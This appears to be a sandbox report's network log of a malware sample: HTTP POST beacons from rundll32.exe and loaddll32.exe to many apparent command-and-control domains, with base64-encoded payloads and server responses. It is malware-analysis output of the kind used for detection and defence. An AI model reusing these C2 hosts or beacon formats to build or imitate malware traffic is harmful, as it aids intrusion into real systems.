f3p/QUVCQ0FBfn15eH96fXtyeEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
263	192.168.2.3	50103	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:15.660698891 CEST	7337	OUT	POST /lBawcxb5/PHkHfSgmeQN/GScNKhlGenN5Yn59cmV+YXg= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:16.320521116 CEST	7338	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:15 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 79 65 6b 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXtyekJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
264	192.168.2.3	50104	185.20.51.238	80	C:\Windows\System32\loaddll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:17.464735031 CEST	7338	OUT	POST /DlOBqKAf/PB4BBQR4cg87IiF8cgVGenN5Yn59cmV+YXg= HTTP/1.1 Host: opulent-imports.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:17.744052887 CEST	7339	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:17 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
265	192.168.2.3	50105	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:17.849497080 CEST	7340	OUT	POST /lBawcxb5/PRIkIhkREyEULhktHQIsAQQxP39zQ3p1fWV7fXRheWR4 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:23.092601061 CEST	7349	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:17 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
266	192.168.2.3	50106	103.50.162.157	80	C:\Windows\System32\loaddll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:18.443437099 CEST	7341	OUT	POST /9SqebpSMu/fQEdNBwFeEJ9dnlkenp3ZXhlfw== HTTP/1.1 Host: nitro2point0.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:18.574937105 CEST	7341	IN	HTTP/1.1 406 Not Acceptable Date: Mon, 04 Oct 2021 14:03:18 GMT Server: Apache Content-Length: 226 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4e 6f 74 20 41 63 63 65 70 74 61 62 6c 65 21 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 41 63 63 65 70 74 61 62 6c 65 21 3c 2f 68 31 3e 3c 70 3e 41 6e 20 61 70 70 72 6f 70 72 69 61 74 65 20 72 65 70 72 65 73 65 6e 74 61 74 69 6f 6e 20 6f 66 20 74 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 54 68 69 73 20 65 72 72 6f 72 20 77 61 73 20 67 65 6e 65 72 61 74 65 64 20 62 79 20 4d 6f 64 5f 53 65 63 75 72 69 74 79 2e 3c 2f 70 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <head><title>Not Acceptable!</title></head><body><h1>Not Acceptable!</h1><p>An appropriate representation of the requested resource could not be found on this server. This error was generated by Mod_Security.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
267	192.168.2.3	50107	192.185.113.204	80	C:\Windows\System32\loaddll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:19.033397913 CEST	7342	OUT	POST /7fTwg0V7/DXoYDyNyJB8oKiEHLBYdJykoGEZ6c3lifn1yZX5heA== HTTP/1.1 Host: streamline-trade.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:19.176462889 CEST	7342	IN	HTTP/1.1 406 Not Acceptable Date: Mon, 04 Oct 2021 14:03:19 GMT Server: Apache Content-Length: 226 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4e 6f 74 20 41 63 63 65 70 74 61 62 6c 65 21 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 41 63 63 65 70 74 61 62 6c 65 21 3c 2f 68 31 3e 3c 70 3e 41 6e 20 61 70 70 72 6f 70 72 69 61 74 65 20 72 65 70 72 65 73 65 6e 74 61 74 69 6f 6e 20 6f 66 20 74 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 54 68 69 73 20 65 72 72 6f 72 20 77 61 73 20 67 65 6e 65 72 61 74 65 64 20 62 79 20 4d 6f 64 5f 53 65 63 75 72 69 74 79 2e 3c 2f 70 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <head><title>Not Acceptable!</title></head><body><h1>Not Acceptable!</h1><p>An appropriate representation of the requested resource could not be found on this server. This error was generated by Mod_Security.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
268	192.168.2.3	50108	51.222.139.54	80	C:\Windows\System32\loaddll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:19.485909939 CEST	7343	OUT	POST /hWo6FObvrdp/E3I9OQQ5Cwg5GyJzDwF6PhI7dUZ6c3lifn1yZX5heA== HTTP/1.1 Host: sologicgroup.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:19.715378046 CEST	7343	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:19 GMT Server: Apache Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
269	192.168.2.3	50109	192.185.46.34	80	C:\Windows\System32\loaddll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:20.177894115 CEST	7344	OUT	POST /gnYxifRY/DgERDQ0fBA4dCyw5EiEffXMyRX5yeGV9eXNkeWJ8 HTTP/1.1 Host: pedroaros.cl Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:20.319153070 CEST	7345	IN	HTTP/1.1 406 Not Acceptable Date: Mon, 04 Oct 2021 14:03:20 GMT Server: Apache Content-Length: 226 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4e 6f 74 20 41 63 63 65 70 74 61 62 6c 65 21 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 41 63 63 65 70 74 61 62 6c 65 21 3c 2f 68 31 3e 3c 70 3e 41 6e 20 61 70 70 72 6f 70 72 69 61 74 65 20 72 65 70 72 65 73 65 6e 74 61 74 69 6f 6e 20 6f 66 20 74 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 54 68 69 73 20 65 72 72 6f 72 20 77 61 73 20 67 65 6e 65 72 61 74 65 64 20 62 79 20 4d 6f 64 5f 53 65 63 75 72 69 74 79 2e 3c 2f 70 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <head><title>Not Acceptable!</title></head><body><h1>Not Acceptable!</h1><p>An appropriate representation of the requested resource could not be found on this server. This error was generated by Mod_Security.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.2.3	49780	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:24.029465914 CEST	1083	OUT	POST /lBawcxb5/OhpCfXZ5ZHp6d2V4ZX8= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:24.473870039 CEST	1084	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:24 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 70 7a 65 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXpzeEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
270	192.168.2.3	50110	128.0.46.214	80	C:\Windows\System32\loaddll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:20.559312105 CEST	7345	OUT	POST /QFm9qbfjT/GjkADyUYD3oKOx0lOD0KOCURIiw8CEJ9dnlkenp3ZXhlfw== HTTP/1.1 Host: apimar.eu Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:20.991024971 CEST	7346	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:20 GMT Server: Apache X-Powered-By: PHP/5.5.38 Content-Length: 0 Content-Type: text/html

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
271	192.168.2.3	50111	192.254.235.244	80	C:\Windows\System32\loaddll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:21.455049038 CEST	7346	OUT	POST /IfpAV6qS/HD0hGnwRJQ8CBTpyHQYeHg8EAAVzIEJ9dnlkenp3ZXhlfw== HTTP/1.1 Host: baetrading.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:21.679346085 CEST	7347	IN	HTTP/1.1 406 Not Acceptable Date: Mon, 04 Oct 2021 14:03:21 GMT Server: Apache Content-Length: 226 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4e 6f 74 20 41 63 63 65 70 74 61 62 6c 65 21 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 41 63 63 65 70 74 61 62 6c 65 21 3c 2f 68 31 3e 3c 70 3e 41 6e 20 61 70 70 72 6f 70 72 69 61 74 65 20 72 65 70 72 65 73 65 6e 74 61 74 69 6f 6e 20 6f 66 20 74 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 54 68 69 73 20 65 72 72 6f 72 20 77 61 73 20 67 65 6e 65 72 61 74 65 64 20 62 79 20 4d 6f 64 5f 53 65 63 75 72 69 74 79 2e 3c 2f 70 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <head><title>Not Acceptable!</title></head><body><h1>Not Acceptable!</h1><p>An appropriate representation of the requested resource could not be found on this server. This error was generated by Mod_Security.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
272	192.168.2.3	50112	166.62.10.34	80	C:\Windows\System32\loaddll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:22.071671963 CEST	7348	OUT	POST /oHbAKuM0/CA5yfg0zKSN5AXtDenV9ZXt9dGF5ZHg= HTTP/1.1 Host: ditrpshop.in Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:22.683993101 CEST	7348	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:22 GMT Server: Apache X-Powered-By: PHP/5.6.40 Upgrade: h2,h2c Connection: Upgrade Content-Length: 0 Vary: Accept-Encoding,User-Agent Content-Type: text/html; charset=UTF-8 Data Raw: 3c 62 72 20 2f 3e 0a 3c 62 3e 4e 6f 74 69 63 65 3c 2f 62 3e 3a 20 20 55 6e 64 65 66 69 6e 65 64 20 69 6e 64 65 78 3a 20 69 73 5f 64 65 62 75 67 20 69 6e 20 3c 62 3e 2f 68 6f 6d 65 2f 6b 67 72 31 71 6a 67 6b 6d 32 72 68 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 64 69 74 72 70 73 68 6f 70 2e 69 6e 2f 6f 48 62 41 4b 75 4d 30 2f 69 6e 64 65 78 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 32 3c 2f 62 3e 3c 62 72 20 2f 3e 0a Data Ascii: <br /><b>Notice</b>: Undefined index: is_debug in <b>/home/kgr1qjgkm2rh/public_html/ditrpshop.in/oHbAKuM0/index.php</b> on line <b>2</b><br />

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
273	192.168.2.3	50113	50.87.147.76	80	C:\Windows\System32\loaddll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:23.310513973 CEST	7349	OUT	POST /s6ImD3DAJs/EQ8bRX5yeGV9eXNkeWJ8 HTTP/1.1 Host: surveillantfire.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:23.509350061 CEST	7351	IN	HTTP/1.1 406 Not Acceptable Date: Mon, 04 Oct 2021 14:03:23 GMT Server: Apache Content-Length: 226 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4e 6f 74 20 41 63 63 65 70 74 61 62 6c 65 21 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 41 63 63 65 70 74 61 62 6c 65 21 3c 2f 68 31 3e 3c 70 3e 41 6e 20 61 70 70 72 6f 70 72 69 61 74 65 20 72 65 70 72 65 73 65 6e 74 61 74 69 6f 6e 20 6f 66 20 74 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 54 68 69 73 20 65 72 72 6f 72 20 77 61 73 20 67 65 6e 65 72 61 74 65 64 20 62 79 20 4d 6f 64 5f 53 65 63 75 72 69 74 79 2e 3c 2f 70 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <head><title>Not Acceptable!</title></head><body><h1>Not Acceptable!</h1><p>An appropriate representation of the requested resource could not be found on this server. This error was generated by Mod_Security.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
274	192.168.2.3	50114	185.20.51.238	80	C:\Windows\System32\loaddll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:23.348454952 CEST	7350	OUT	POST /DlOBqKAf/fCd/RX5yeGV9eXNkeWJ8 HTTP/1.1 Host: opulent-imports.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:23.621023893 CEST	7351	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:23 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
275	192.168.2.3	50115	184.168.102.202	80	C:\Windows\System32\loaddll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:23.990468979 CEST	7352	OUT	POST /VIVB6kFar/InIlKh1yBS96NyYmLxgHJC4fRX5yeGV9eXNkeWJ8 HTTP/1.1 Host: dhananialegalaid.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:24.579106092 CEST	7352	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:24 GMT Server: Apache X-Powered-By: PHP/7.3.30 Upgrade: h2,h2c Connection: Upgrade Content-Length: 0 Vary: User-Agent Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
276	192.168.2.3	50116	103.50.162.157	80	C:\Windows\System32\loaddll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:24.972455978 CEST	7353	OUT	POST /9SqebpSMu/KhMTJiIzDwM1PAQlMRYnMQYhficTMyMgLTpDenV9ZXt9dGF5ZHg= HTTP/1.1 Host: nitro2point0.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
